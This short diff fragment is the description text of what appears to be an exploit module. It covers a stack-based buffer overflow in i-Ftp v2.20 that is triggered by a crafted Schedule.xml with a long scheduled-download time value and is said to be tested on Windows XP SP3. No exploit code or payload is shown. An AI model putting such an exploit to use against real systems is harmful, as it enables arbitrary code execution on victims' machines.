+          This module exploits a stack-based buffer overflow vulnerability in
+        i-Ftp v2.20, caused by a long time value set for scheduled download.
+        By persuading the victim to load a specially-crafted Schedule.xml file,
+        a remote attacker could execute arbitrary code on the system or cause
+        the application to crash. This module has been tested successfully on
+        Windows XP SP3.
